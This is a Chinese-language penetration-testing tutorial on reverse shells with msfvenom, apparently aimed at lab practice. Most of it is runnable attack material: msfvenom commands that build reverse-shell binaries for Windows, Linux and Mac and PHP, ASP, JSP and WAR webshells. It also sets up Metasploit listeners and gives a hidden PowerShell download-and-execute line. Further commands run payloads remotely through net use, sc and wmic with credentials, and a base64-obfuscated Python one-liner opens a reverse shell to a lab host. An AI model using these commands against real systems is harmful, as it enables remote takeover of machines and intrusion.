前言

​ 我们知道目前来说流行的shell主要有两种,一种是正向shell(bind_shell)一种是反向shell(reverse_shell)

正向shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。(攻击者->被攻击者)

反向shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。(攻击者<-被攻击者)

nc可以实现一个很简单的正向与反向shell连接的示例:

正向

反向

对于实际的渗透测试过程来说,我们常常使用的往往是反弹shell的方式来突破边界防火墙的限制。

下面列举了一些使用反向shell的情况:

  • 目标机器在一个不同(相对攻击者而言)的私有网络
  • 目标机器的防火墙阻挡了所有入口连接(这种情况正向 Shell 是会被防火墙阻挡的).
  • 由于一些原因,你的 Payload 不能绑定在应该绑定的端口的时候
  • 你还不能确定应该选择反向 Shell 还是正向 Shell 的时候

msfvenom

​ msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。Msfvenom 在 2015 年 6 月 8 日已经替代了 msfpayload 与 msfenocde 命令,它是这两个命令的结合体。为了开始使用 msfvenom,可以首先浏览一下它所支持的命令参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--payload-options List the payload's standard options # 列出指定 Payload 的标准可选配置项
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
-f, --format <format> Output format (use --help-formats for a list) # 指定 Payload 的输出格式
--help-formats List available formats # 列出所有可用的输出格式
-e, --encoder <encoder> The encoder to use # 指定使用的 Encoder
-a, --arch <arch> The architecture to use # 指定目标系统架构
--platform <platform> The platform of the payload # 指定目标系统平台
--help-platforms List available platforms # 列出可用的平台
-s, --space <length> The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff' # 设置需要在 Payload 中避免出现的字符
-i, --iterations <count> The number of times to encode the payload # 设置 Payload 的编码次数
-c, --add-code <path> Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件
-x, --template <path> Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板
-k, --keep Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能,注入的payload作为一个新的进程运行
-o, --out <path> Save the payload # 保存 Payload 到文件
-v, --var-name <name> Specify a custom variable name to use for certain output formats # 指定一个变量名
(译者注:当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
--smallest Generate the smallest possible payload # 尽可能生成最短的 Payload
-h, --help Show this message # 帮助

我们可以通过命令列出可用的payloads、encoders、nops。

1
2
3
msfvenom --list payloads
msfvenom --list encoders
msfvenom --list nops

下面我们使用msf生成一些可用的反弹shell的paylaod。

生成二进制文件

关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。

Windows
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Linux
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Mac
1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On> -f macho > shell.macho
如何利用

针对这个部分就以Windows为例,使用上面的命令生成一个exe的payload,命令如下:

攻击机:kali 192.168.153.176

靶机: win7 192.168.153.160

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.176 LPORT=5555 -f exe -o payload.exe

复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:

1
2
3
4
5
6
7
8
9
10
11
msfconsole    //启动msf

use exploit/multi/handler //使用msf的侦听模块exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp //设置载荷payload

set LHOST 192.168.153.176 //设置本地监听机Ip

set LPORT 4444 //设置监听端口

exploit

执行完之后在Windows下执行payload.exe,然后结果如图:

在这里既然使用到了在Windows下执行应用程序,我们就大概盘点一下在Windows执行应用程序的几种方式:

  • 双击运行
  • cmd下运行exe
  • 利用Powershell远程下载执行
1
2
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','shell.exe');
start-process shell.exe
  • 利用at或schtasks设置计划任务执行
1
2
3
4
5
6
7
net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test
  • 利用wmic远程命令执行
1
wmic /node:192.168.1.158 /user:pt007 /password:admin123  process call create "cmd.exe /c ipconfig>d:\result.txt"

生成webshell脚本

​ 在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,这里介绍下如何使用msfvenom生成webshell。

PHP
1
2
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

如何利用

下面以php为例做一下测试,使用以下命令生成一个webshell:

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php

在kali上使用msf执行下面的命令,监听端口4444:

1
2
3
4
5
6
7
8
9
10
11
msfconsole

use exploit/multi/handler

set PAYLOAD php/meterpreter_reverse_tcp

set LHOST 192.168.153.176

set LPORT 4444

exploit

将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:

1
php shell.php

脚本shell

关于使用脚本反弹shell的方式,主要以python、bash、perl为例。

这种反弹方式也叫做git解释性脚本语言反弹shell

Python
1
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
1
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
如何使用

下面就以Python为例做一下测试,使用以下命令生成一个脚本:

1
msfvenom -p cmd/unix/reverse_python LHOST=192.168.153.176 LPORT=4444 -f raw > shell.py

在kali上使用msf执行下面的命令,监听端口4444:

1
2
3
4
5
6
7
8
9
msfconsole 

use exploit/multi/handler

set PAYLOAD cmd/unix/reverse_python

set LHOST 192.168.153.176 set LPORT 4444

exploit

然后复制shell.py中的内容在linux命令行下执行,如下:

1
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

结果如图:

参考文章

https://xz.aliyun.com/t/2380

https://blog.51cto.com/13539934/2113551

[https://www.sariel.top/2019/08/19/Linux/kali/msfconsole/msfvenom/msfvenom%E5%90%8E%E9%97%A8%E5%AD%A6%E4%B9%A0-windows%E7%AF%87/#o-%E6%96%87%E4%BB%B6%E8%BE%93%E5%87%BA](